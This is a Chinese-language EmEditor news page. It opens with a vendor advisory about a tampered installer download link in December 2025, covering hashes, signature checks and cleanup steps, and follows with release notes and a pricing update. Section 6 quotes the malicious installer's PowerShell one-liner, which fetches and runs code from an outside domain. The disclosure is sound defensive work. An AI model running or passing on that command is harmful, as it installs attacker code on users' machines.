【重要】关于 EmEditor 安装程序下载链接的安全事件通知

感谢您使用 EmEditor。

我们非常遗憾地通知您:我们已确认 EmEditor 官方网站的下载路径([Download Now] 按钮)发生了一起事件,疑似遭到第三方未授权篡改。在受影响期间,通过该按钮下载的安装程序可能并非我们(Emurasoft, Inc.)提供的正版文件。

对此可能造成的担忧与不便,我们深表歉意。请阅读以下信息。


1. 可能受影响的期间

  • 2025 年 12 月 19 日 18:39 – 2025 年 12 月 22 日 12:50(美国太平洋时间)

如果您在上述期间通过 EmEditor 首页的 [Download Now] 按钮下载安装程序,则有可能下载到了一个没有我们数字签名的不同文件。这是保守估计;实际受影响时间可能更短,并且可能仅限于某一特定时间段。


2. 事件概要(深层原因)

[Download Now] 按钮正常情况下指向以下 URL:

  • https://support.emeditor.com/en/downloads/latest/installer/64

该 URL 使用了重定向。然而在受影响期间,重定向设置疑似被第三方更改,导致下载被从以下(错误)URL 提供:

  • https://www.emeditor.com/wp-content/uploads/filebase/emeditor-core/emed64_25.4.3.msi

该文件并非由 Emurasoft, Inc. 创建,并且已被移除

因此我们确认,下载到的文件数字签名可能不是我们,而是来自另一家名为 WALSHAM INVESTMENTS LIMITED 的组织。

注:此问题可能不限于英文页面,也可能影响其他语言的类似 URL(包括日文)。


3. 已确认可能受影响的文件

目前唯一确认涉及的文件为:

  • emed64_25.4.3.msi

正版文件(官方)

  • 文件名:emed64_25.4.3.msi
  • 大小:80,376,832 字节
  • 数字签名:Emurasoft, Inc.
  • SHA-256:e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3e

可疑文件(可能被篡改)

  • 文件名:emed64_25.4.3.msi
  • 大小:80,380,416 字节
  • 数字签名:WALSHAM INVESTMENTS LIMITED

4. 不受影响的情况

如果符合以下任一情况,则您不受影响

  • 通过 EmEditor 的 更新检查器(Update Checker) 或自动更新进行更新
  • 直接从 download.emeditor.info 下载
    示例:https://download.emeditor.info/emed64_25.4.3.msi
  • 下载的不是 emed64_25.4.3.msi 文件
  • 使用了 便携版(portable version)
  • 使用了 商店应用版本(store app version)
  • 使用 winget 安装/更新
  • 下载了文件但没有运行/执行

5. 如何检查以及应采取的措施

如果您可能在受影响期间通过 [Download Now] 下载了安装程序,请验证 emed64_25.4.3.msi 文件的数字签名SHA-256 哈希

5-1. 如何检查数字签名(Windows)

  1. 右键点击文件(emed64_25.4.3.msi),选择 属性(Properties)
  2. 打开 数字签名(Digital Signatures) 选项卡。
  3. 确认签名者为 Emurasoft, Inc.
  • 若显示 WALSHAM INVESTMENTS LIMITED,则该文件可能为恶意文件。

如果未显示“数字签名”选项卡,可能表示该文件未签名或签名无法识别。此时请勿运行该文件;删除并按下方指引处理。

5-2. 如何检查 SHA-256(Windows / PowerShell)

打开 PowerShell 并执行:

Get-FileHash .\emed64_25.4.3.msi -Algorithm SHA256

确认输出的 SHA-256 与下列一致:

  • 正版 SHA-256:e5f9c1e9b586b59712cefa834b67f829ccbed183c6855040e6d42f0c0c3fcb3e

如果签名或 SHA-256 不匹配(建议措施)

如果数字签名不是 Emurasoft, Inc.(例如为 WALSHAM INVESTMENTS LIMITED)或 SHA-256 不匹配,则您可能获取了被篡改的文件(可能包含恶意软件)。

  • 立即将受影响电脑断开网络连接(有线/无线)
  • 对系统执行一次完整的恶意软件扫描
  • 视情况考虑刷新/重建包括操作系统在内的环境
  • 考虑凭据可能泄露:对该设备上使用/保存过的账号更改密码(并尽可能启用 MFA 多因素认证)

如果您在组织内使用 EmEditor,也建议联系内部安全团队(如 CSIRT),并尽可能保留相关日志。


6. 已观察到的行为(截至目前确认)

该可疑安装程序在执行时可能尝试运行以下命令。在任何情况下都不要运行该命令。

  • powershell.exe "irm emeditorjp.com | iex"

该命令会从 emeditorjp.com 下载并执行内容。
emeditorjp.com 并非 Emurasoft, Inc. 管理的域名。

另请注意:该安装程序可能仍会正常安装 EmEditor 并安装正版的 EmEditor 程序文件,这会使问题更难被察觉。


7. 当前状态与后续更新

我们将继续调查事实并确定影响范围。一旦有更多信息,我们会在本页面和/或通过官方渠道尽快更新。
我们高度重视此次事件,并将采取必要措施查明原因、避免再次发生。

对于此次事件可能造成的不便与担忧,我们再次致以诚挚歉意,并感谢您对 EmEditor 的理解与持续支持。

EmEditor v25.4.3 发布!

今天,我们发布了 EmEditor v25.4.3。本次更新主要针对稳定性,并包含以下修复——为了获得最佳体验,请保持软件为最新版本:

  • 修复了在“与 AI 聊天”中“使用 OPENAI_API_KEY 环境变量”选项以及“复制到新文档”命令可能无法正常工作的问题(需要 ChatAI 插件)。
  • 修复了可能导致状态栏部分内容被截断的错误。
  • 修正了字符代码值命令在 ASCII(二进制)视图中显示 NUL 字符代码的方式。
  • 提升了多个方面的性能,包括使包含很长行的文档中的水平滚动更加流畅。
  • 阻止在启用使用编辑器字体时清除查找/替换搜索历史记录。
  • 已解决用户报告的问题(1)。

如果您使用桌面安装版本,可以在帮助中选择检查更新以下载最新版本。如果此方法失败,请下载最新版本,并运行下载的安装程序。 如果您使用桌面便携版本,可以访问下载页面以下载最新版本。商店应用版本可以在几天后通过 Microsoft 商店更新。

EmEditor v25.4.2 发布!

今天,我们发布了 EmEditor v25.4.2。此次更新带来多项重要修复和优化,以确保您的使用体验流畅稳定,因此我们建议尽快更新。

  • 已添加对 GPT-5.1 的支持(需要 ChatAI 插件)。
  • 修复了AI 提示功能的偶发性故障(需要ChatAI插件)。
  • 修复了有时会导致状态栏行/列显示被截断的问题。
  • 修复了在使用不区分大小写的正则表达式过滤器时,大文件控制器中的一个问题。
  • 修复了一个问题:即使默认设置未更改,设置中的键盘页面也可能显示星号,仿佛已被修改。
  • 修复了在树形视图(如代码片段CommitList 插件)中双击 [+] 时触发的非预期行为。
  • 修复了在比较提交后,在提交列表窗格中双击目录可能导致 CommitList 插件崩溃的问题。
  • 修复了一个问题:在内存不足情况下,进行几次框选后,撤销功能可能会停止工作。
  • 当在 EmEditor 中打开超大文件时,调整了气球提示的位置。
  • 修复了一个问题:当涉及符号链接或联接点时,在文件中查找会变得极其缓慢。
  • 在多个方面提升了性能,包括打开文件、在文件中查找,以及对超长行的水平滚动。

如果您使用桌面安装版本,可以在帮助中选择检查更新以下载最新版本。如果此方法失败,请下载最新版本,并运行下载的安装程序。 如果您使用桌面便携版本,可以访问下载页面以下载最新版本。商店应用版本可以在几天后通过 Microsoft 商店更新。

EmEditor v25.4.1 发布!

今天,我们发布了 EmEditor v25.4.1。

v25.4.1 包含以下错误修复。请务必始终更新到最新版本以确保稳定运行。

  • 已将颜色选择器代码片段添加到默认代码片段中。
  • 新增对将 Windows 系统代码页设置为 UTF-8 的支持。
  • 修复了在自定义宏对话框的选项页面中指定文件夹时可能导致非预期行为的问题。
  • 修复了这样一个问题:在自定义对话框的高级页面上,当线程数设置为 1 且搜索包含超大文件时,在文件中查找可能无法正常工作。
  • 修复了一个问题:在自定义对话框的高级页面中启用编辑时使用临时文件选项时,对超大文件进行替换可能会导致问题。
  • 修复了一个问题:如果搜索字符串包含在 UTF-8 编码中其大写和小写形式字节长度不同的字符,不区分大小写的查找/替换以及在文件中查找/替换可能无法正常工作。
  • 改进了部分操作的性能,包括大小写转换、不区分大小写的排序以及在文件中查找。
  • 修复了用户报告的问题(1)。

如果您使用桌面安装版本,可以在帮助中选择检查更新以下载最新版本。如果此方法失败,请下载最新版本,并运行下载的安装程序。 如果您使用桌面便携版本,可以访问下载页面以下载最新版本。商店应用版本可以在几天后通过 Microsoft 商店更新。

EmEditor v25.4.0 已发布:更快、更稳定、代码片段以及与 AI 聊天

我们发布了 EmEditor v25.4.0

本次更新的首要重点是速度。我们优化了代码的诸多部分,使许多操作现在运行得更快,尤其是在支持 AVX‑512 的 CPU 上。我还使用了“与 AI 聊天(Chat with AI)”功能来协助编写这些新优化;感觉就像身边多了一位出色的工程师。

我们也进行了传统的、非 AI 优化。“查找”“替换”“在文件中查找”“在文件中替换”经过重构,在可能的情况下直接处理 UTF‑8,避免在 UTF‑16 之间往返转换。此前,对 UTF‑8 文件执行“在文件中替换”会先转换为 UTF‑16 再转换回来;现在可直接在 UTF‑8 上进行替换,消除转换开销。我们还为“在文件中查找”新增了一个选项:“显示文件名、行号和匹配行(截断过长的行)”,默认启用。即使目标包含超长行(例如二进制文件),EmEditor 现在会截断输出,而不是打印整行,以确保输出稳定、响应流畅。在我们的测试中,“查找”“替换”“在文件中查找”“在文件中替换”的速度提升约为 2 倍至 6.5 倍。

稳定性也有所提升。“在文件中查找”以多线程方式运行,但一次搜索大量超大文件可能会占用大量内存。我们现在限制用于打开特大文件的线程数量,以降低内存占用。如果内存分配失败,EmEditor 会自动回退到占用更少内存的单线程模式并重试操作,从而降低崩溃的可能性。

自 v25.3 停止提供 HTMLBar 插件之后,一些用户怀念快捷标签插入按钮。在本次发行版中,您可以直接在 EmEditor 中定义代码片段(snippets),并通过菜单、工具栏或键盘快捷键调用它们。执行仍由 Snippets 插件处理。要显示 Snippets 工具栏,请转到 View > Toolbars > Snippets。将任意文本拖放到 Snippets 工具栏上即可创建片段,或通过 Customize > Snippets 定义片段。语法详情请参见帮助中的“如何使用 Snippets 插件”,或向 AI 询问“EmEditor 片段语法”。

“与 AI 聊天”(Chat with AI,by Makoto Emura)也获得了升级:

  • 为某些模型(如 GPT‑5)新增“网页搜索”选项,可检索最新信息(例如列车时刻表)。
  • 新增“文本冗长度(Text Verbosity)”控制,可调整回复长度。
  • 支持使用环境变量(例如 OPENAI_API_KEY)。
  • 后端优化以提升性能。

注意:要使用包括“与 AI 聊天”在内的 AI 功能,需要单独安装 ChatAI 插件。

我们还修复了预览版中发现的问题。

我们希望专业版和免费版都能满足您的期望。如果您有任何问题、功能请求或建议,请联系我们或在论坛发帖。

感谢您一直以来对 EmEditor 的支持。
— Yutaka Emura

有关新版本的详细信息,包括主要更改和截图,请参见“Version 25.4 新增特性”

如果您使用桌面安装版,可在 帮助菜单下选择检查更新下载最新版。如该方法无效,请到此下载最新版本,并运行安装程序。如果您使用桌面便携版,可前往下载页面获取最新版。商店应用版可在几天后通过(Microsoft 商店)更新。

EmEditor v25.3.2 发布!

今天,我们发布了 EmEditor v25.3.2。

v25.3.2 包含以下错误修复。请务必始终更新到最新版本以确保稳定运行。

  • 当检测到 XML 文档时,Markdown/HTML 工具栏不再自动显示。
  • 修复了在某些比较条件下出现的性能下降问题。
  • 修复了在编辑包含超长行的 HTML 或 XML 文件时出现的变慢问题。
  • 修复了在“在文件中查找”或“在文件中替换”过程中可能出现的崩溃或冻结问题。
  • 修复了在重复进行前瞻/后顾搜索时可能出现的正则表达式问题。
  • 修复仅关闭分屏窗口一侧时出现的不正确提示。
  • 修复了当将 Tab 宽度设置为 1 个空格时可能导致自动换行失效的问题。
  • 修复了在“自定义”对话框的“CSV 格式”页面上所做的更改有时不会被保存的问题。
  • 修复了可能导致 ChatAI 安装程序无法启动的问题。
  • 修复了查看比较时可能发生的崩溃问题。
  • 修复了用户报告的问题(https://www.emeditor.com/forums/topic/cell-toolbar-automatic-show-hide-inconsistent/)。

如果您使用桌面安装版本,可以在帮助中选择检查更新以下载最新版本。如果此方法失败,请下载最新版本,并运行下载的安装程序。 如果您使用桌面便携版本,可以访问下载页面以下载最新版本。商店应用版本可以在几天后通过 Microsoft 商店更新。

媒体报道:EmEditor 的发展历程、现代化与未来展望——刊登于 Levtech LAB

自1997年首次发布以来,EmEditor 一直围绕两大支柱不断演进:即使面对超大文件也能保持高速,以及在 CSV 工作流程方面具备卓越能力。日本的 Levtech LAB 发布了一篇深度专题,聚焦我们的核心性能、实用的 CSV 编辑与高速搜索、近期通过 CI/CD 和 AI/Git 集成推进的现代化,以及我们如何将工程技术诀窍跨代传承。

本文探讨了为何 EmEditor 即使面对极其庞大的数据集(约 16 TB,1.09 万亿行)仍能保持流畅,以及我们的引擎级优化如何在大规模场景下实现高速搜索。文章还重点介绍了 CSV 的真实应用案例,展示当传统工具达到极限时,EmEditor 如何被采用为解决方案。

在开发方面,我们形成了自然的职责分工:我(Yutaka Emura)继续打磨 C/C++ 核心引擎,而我的儿子 Makoto 专注于外围领域——DevOps、Git 集成、AI 助手功能和插件。在 Makoto 的推动下,我们实现了一条 CI/CD 流水线,从构建、测试到打包(安装版、便携版、Microsoft Store)和发布全部自动化。这大幅减少了人为错误,提升了发布稳定性,并使我们能够把更多精力放在产品质量上。

这个故事还涉及小团队中相互信任带来的心理安全感、我们如何以质量优先做出产品决策,以及我们对“让 EmEditor 始终保持为最好的文本编辑器”的承诺。

EmEditor v25.3.1 发布!

我们发布了 EmEditor v25.3.1。

v25.3.1 包括下列错误修复。请始终更新到最新版本以确保稳定运行。

  • 修复了与 DirectWrite 相关的潜在崩溃问题。
  • 修复了“自定义工具栏按钮”中的“全部重置”无法重置工具栏布局的问题。
  • 修复了对 Markdown 工具栏按钮的自定义未生效的问题。
  • 修复了 Markdown 工具栏下拉菜单的德语翻译问题。
  • 当主窗口隐藏时,“在文件中查找”对话框现在会在当前显示器中居中显示。
  • 修复了用户报告的问题(1)。

如果您使用的是桌面安装程序版,那您可以到帮助菜单下选择检查更新来下载最新版本。 如果此方法失败,请下载最新版本,并运行下载的安装程序。 如果您使用的是桌面便携版,则可以转到下载页面下载最新版本。商店应用版可以在几天后通过 Microsoft 商店更新。

EmEditor v25.3.0 发布 — 扩展的 AI 功能、按相似度排序、Markdown/HTML 工具栏及性能提升

我们今天发布了 EmEditor v25.3.0

生成式 AI 功能增强(需要 ChatAI 插件)

v25.3 的最大新增功能之一是增强了由 Makoto Emura 开发的生成式 AI。本次发布新增了 Google 作为提供商,并支持 OpenAIGPT‑5。EmEditor 现在还支持工具调用,允许 AI 调用一组有限的内置 EmEditor 工具。这类似于 AI 代理,但仅限于 EmEditor 提供的工具——因此称为“工具调用”。通过此功能,您可以通过与 AI 聊天界面对当前打开的文档运行自然语言命令。例如,如果您打开一个包含电子邮件地址的文件,并在与 AI 聊天栏中输入“提取本文档中的电邮地址”,EmEditor 会将其提取出来并创建一个新文档。

新增对工具调用的支持。这些 EmEditor 工具可以让 AI 直接读取或修改您的文档。

要使用工具调用,请点击“工具”按钮,并确保其高亮为蓝色。您还可以在与 AI 聊天设置中的工具调用页面选择启用哪些工具。

在设置中新增了工具调用页面。

与 AI 聊天设置自定义对话框中的 AI 选项页面,您可以设置最大令牌数温度(随机性)。之前,默认的最大令牌数为 4096,这可能会导致像 GPT‑5 这样需要大量推理的模型输出被截断。在此版本中,您可以切换最大令牌数的开关。关闭时,将使用提供商的默认值。

与 AI 聊天设置中,您还可以在支持的情况下调整推理力度。当推理力度关闭时,将使用模型的默认设置。更高的推理力度会带来更可靠的回复,但速度可能较慢。如果您想获得最快的回复,请将推理力度打开并选择最低

按相似度排序

EmEditor 包含许多排序命令,此版本新增了按与当前行或当前单元格文本的相似度进行排序的功能。相似度是使用莱文斯坦距离编辑距离)计算的,该功能在 v22.0.0 中引入,并可选择忽略大小写。例如,如果你有一个 CSV 名单并搜索 Sharen,将光标放在 Sharen 上并运行 按相似度排序,列表会将 ShareeShalon 等相近匹配项排在前面,从而更容易发现相似的名字。

添加了按相似度排序命令。

Markdown/HTML 工具栏

我们已将 HTML 功能添加到Markdown 工具栏(首次引入于 v24.4),并将其合并为一个 Markdown/HTML 工具栏。Markdown 和 HTML 模式会自动切换。打开 Markdown 文件并选择 Markdown 设置或启用 Markdown 设计模式 时,将进入 Markdown 模式;打开 HTML 文件并选择 HTML 设置时,将进入 HTML 模式。因此,旧的 HTMLBar 插件已被停用。新的 HTML 模式比 HTMLBar 更加强大。例如,段落标题 1标题 2 等下拉菜单会自动检测并显示当前样式,加粗斜体代码等按钮会反映当前字体状态。如果未选中文本并点击加粗,那么光标所在的单词会被加粗。选择加粗命令(默认快捷键为 Ctrl+B)并选中 text 时,在 Markdown 模式下会生成 **text**,在 HTML 模式下会生成 <strong>text</strong>

已在 Markdown 工具栏中加入了新的 HTML 功能,该工具栏现已重新设计为 Markdown/HTML 工具栏。先前的 HTML 工具栏插件已被停用。

性能与更多

我们在此版本中继续优化了启动性能。提取常用字符串命令的速度也显著提升。在我们的测试中,启动速度比 v25.0 快 1.90 倍,提取常用字符串比 v25.2 快 1.42–4.44 倍。

其他改进包括:

  • 响应客户请求,现在您可以使用类似 (?#_text_c!=17) 这样的特殊关键字,为正则表达式高亮字符串添加条件,实现更灵活的高亮显示。
  • 提取常用字符串现在会遵循筛选,并能从已筛选的内容上提取。
  • 之前,排序后光标位置不会变化。现在,它会移动到对应的项目,从而可以在高级排序中运行新的按相似度排序后更方便地进行其他排序。
  • 除了自定义对话框外,自定义宏对话框和配置属性现在也会在与默认设置不同的页面标题旁显示星号(*)。

我们还修复了在预览版期间发现的问题。从此版本开始,注册前的试用期由 30 天变为 7 天。

我们希望专业版和免费版都能满足您的期望。如果您有任何问题、功能请求或建议,请联系我们或在论坛发帖。

感谢您一直以来对 EmEditor 的支持。
— Yutaka Emura

有关新版本的详细信息,包括主要更改和截图,请参见“Version 25.3 新增特性”。(/text-editor-features/history/new-in-version-25-3/)

如果您使用桌面安装版,可在 帮助菜单下选择检查更新下载最新版。如该方法无效,请到此下载最新版本,并运行安装程序。如果您使用桌面便携版,可前往下载页面获取最新版。商店应用版可在几天后通过(Microsoft Store)更新。

授权价格更新

我们多年来一直努力保持年订阅价格的低廉。然而,由于成本上升,为了持续提升服务质量并为您带来更优质的体验,我们将对年订阅服务的价格进行调整。自 2025 年 8 月 28 日起,年订阅授权的价格将从 48 美元上调至 60 美元。批量授权的价格也将相应调整。已购买年订阅的用户将在当前订阅周期结束后,按新价格的 75% 续费。

我们还将于 2025 年 8 月 28 日起推出月订阅选项,每月 6 美元,方便您根据自身需求灵活选择订阅方式。

请注意,您的订阅费用可能会根据您所在的国家/地区,以当地货币计算和结算。

有关如何计算所需授权数,请参阅我们的指南

我们将继续致力于不断改进 EmEditor 并支持我们的用户。

感谢您选择 EmEditor!